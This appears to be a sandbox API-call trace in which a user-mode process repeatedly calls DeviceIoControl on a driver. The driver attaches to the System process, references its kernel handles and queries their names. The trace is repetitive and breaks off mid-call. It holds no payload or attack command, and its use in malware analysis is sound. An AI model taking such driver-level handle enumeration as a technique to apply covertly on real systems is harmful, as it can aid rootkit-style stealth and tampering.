[0089.367] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.367] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.367] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.367] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.367] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.367] PsAcquireProcessExitSynchronization () returned 0x0 [0089.367] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.367] ObReferenceObjectByHandle (in: Handle=0xffffffff8000069c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800211c590, HandleInformation=0x0) returned 0x0 [0089.367] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.367] PsReleaseProcessExitSynchronization () returned 0x2 [0089.368] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.368] ObQueryNameString (in: Object=0xfffffa800211c590, ObjectNameInfo=0xfffffa8003a7e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7e044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.368] ObfDereferenceObject (Object=0xfffffa800211c590) returned 0x2 [0089.368] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.368] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.368] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.368] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.368] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.368] PsAcquireProcessExitSynchronization () returned 0x0 [0089.368] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.368] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002147b30, HandleInformation=0x0) returned 0x0 [0089.368] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.368] PsReleaseProcessExitSynchronization () returned 0x2 [0089.368] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.368] ObQueryNameString (in: Object=0xfffffa8002147b30, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0089.368] ObfDereferenceObject (Object=0xfffffa8002147b30) returned 0x2 [0089.368] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.368] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.368] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.368] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.368] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.368] PsAcquireProcessExitSynchronization () returned 0x0 [0089.368] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.368] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002125f20, HandleInformation=0x0) returned 0x0 [0089.368] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.368] PsReleaseProcessExitSynchronization () returned 0x2 [0089.368] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.368] ObQueryNameString (in: Object=0xfffffa8002125f20, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.368] ObfDereferenceObject (Object=0xfffffa8002125f20) returned 0x2 [0089.368] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.368] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.368] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.368] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.368] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.368] PsAcquireProcessExitSynchronization () returned 0x0 [0089.368] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.368] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002145050, HandleInformation=0x0) returned 0x0 [0089.369] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.369] PsReleaseProcessExitSynchronization () returned 0x2 [0089.369] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.369] ObQueryNameString (in: Object=0xfffffa8002145050, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.369] ObfDereferenceObject (Object=0xfffffa8002145050) returned 0x2 [0089.369] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.369] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.369] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.369] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.369] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.369] PsAcquireProcessExitSynchronization () returned 0x0 [0089.369] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.369] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002120590, HandleInformation=0x0) returned 0x0 [0089.369] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.369] PsReleaseProcessExitSynchronization () returned 0x2 [0089.369] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.369] ObQueryNameString (in: Object=0xfffffa8002120590, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.369] ObfDereferenceObject (Object=0xfffffa8002120590) returned 0x2 [0089.369] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.369] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.369] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.369] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.369] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.369] PsAcquireProcessExitSynchronization () returned 0x0 [0089.369] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.369] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002145ab0, HandleInformation=0x0) returned 0x0 [0089.369] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.369] PsReleaseProcessExitSynchronization () returned 0x2 [0089.369] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.369] ObQueryNameString (in: Object=0xfffffa8002145ab0, ObjectNameInfo=0xfffffa8003a81044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a81044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.369] ObfDereferenceObject (Object=0xfffffa8002145ab0) returned 0x2 [0089.369] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.369] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.369] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.369] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.369] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.370] PsAcquireProcessExitSynchronization () returned 0x0 [0089.370] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.370] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800212e050, HandleInformation=0x0) returned 0x0 [0089.370] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.370] PsReleaseProcessExitSynchronization () returned 0x2 [0089.370] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.370] ObQueryNameString (in: Object=0xfffffa800212e050, ObjectNameInfo=0xfffffa800398b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800398b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.370] ObfDereferenceObject (Object=0xfffffa800212e050) returned 0x2 [0089.370] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.370] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.370] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.370] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.370] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.370] PsAcquireProcessExitSynchronization () returned 0x0 [0089.370] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.370] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002142050, HandleInformation=0x0) returned 0x0 [0089.370] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.370] PsReleaseProcessExitSynchronization () returned 0x2 [0089.370] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.370] ObQueryNameString (in: Object=0xfffffa8002142050, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.370] ObfDereferenceObject (Object=0xfffffa8002142050) returned 0x2 [0089.370] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.370] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.370] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.370] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.370] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.370] PsAcquireProcessExitSynchronization () returned 0x0 [0089.370] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.370] ObReferenceObjectByHandle (in: Handle=0xffffffff800006bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002125660, HandleInformation=0x0) returned 0x0 [0089.370] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.370] PsReleaseProcessExitSynchronization () returned 0x2 [0089.370] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.370] ObQueryNameString (in: Object=0xfffffa8002125660, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.370] ObfDereferenceObject (Object=0xfffffa8002125660) returned 0x2 [0089.370] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.371] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.371] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.371] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.371] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.371] PsAcquireProcessExitSynchronization () returned 0x0 [0089.371] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.371] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002142a10, HandleInformation=0x0) returned 0x0 [0089.371] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.371] PsReleaseProcessExitSynchronization () returned 0x2 [0089.371] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.371] ObQueryNameString (in: Object=0xfffffa8002142a10, ObjectNameInfo=0xfffffa8003a23044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a23044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.371] ObfDereferenceObject (Object=0xfffffa8002142a10) returned 0x2 [0089.371] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.371] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.371] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.371] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.371] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.371] PsAcquireProcessExitSynchronization () returned 0x0 [0089.371] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.371] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002131050, HandleInformation=0x0) returned 0x0 [0089.371] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.371] PsReleaseProcessExitSynchronization () returned 0x2 [0089.371] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.371] ObQueryNameString (in: Object=0xfffffa8002131050, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.371] ObfDereferenceObject (Object=0xfffffa8002131050) returned 0x2 [0089.371] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.371] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.371] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.371] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.371] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.371] PsAcquireProcessExitSynchronization () returned 0x0 [0089.371] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.372] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800213f2c0, HandleInformation=0x0) returned 0x0 [0089.372] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.372] PsReleaseProcessExitSynchronization () returned 0x2 [0089.372] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.372] ObQueryNameString (in: Object=0xfffffa800213f2c0, ObjectNameInfo=0xfffffa8003a80044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a80044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.372] ObfDereferenceObject (Object=0xfffffa800213f2c0) returned 0x2 [0089.372] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.372] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.372] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.372] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.372] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.372] PsAcquireProcessExitSynchronization () returned 0x0 [0089.372] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.372] ObReferenceObjectByHandle (in: Handle=0xffffffff800006cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800212e790, HandleInformation=0x0) returned 0x0 [0089.372] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.372] PsReleaseProcessExitSynchronization () returned 0x2 [0089.372] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.372] ObQueryNameString (in: Object=0xfffffa800212e790, ObjectNameInfo=0xfffffa8003a7f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7f044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.372] ObfDereferenceObject (Object=0xfffffa800212e790) returned 0x2 [0089.372] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.372] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.372] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.372] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.372] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.372] PsAcquireProcessExitSynchronization () returned 0x0 [0089.372] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.372] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002140a10, HandleInformation=0x0) returned 0x0 [0089.372] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.372] PsReleaseProcessExitSynchronization () returned 0x2 [0089.372] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.372] ObQueryNameString (in: Object=0xfffffa8002140a10, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.372] ObfDereferenceObject (Object=0xfffffa8002140a10) returned 0x2 [0089.373] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.373] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.573] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.577] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.577] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.577] PsAcquireProcessExitSynchronization () returned 0x0 [0089.577] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.577] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002131220, HandleInformation=0x0) returned 0x0 [0089.577] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.577] PsReleaseProcessExitSynchronization () returned 0x2 [0089.577] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.577] ObQueryNameString (in: Object=0xfffffa8002131220, ObjectNameInfo=0xfffffa8003a77044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a77044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.577] ObfDereferenceObject (Object=0xfffffa8002131220) returned 0x2 [0089.577] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.577] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.577] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.577] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.577] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.577] PsAcquireProcessExitSynchronization () returned 0x0 [0089.577] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, 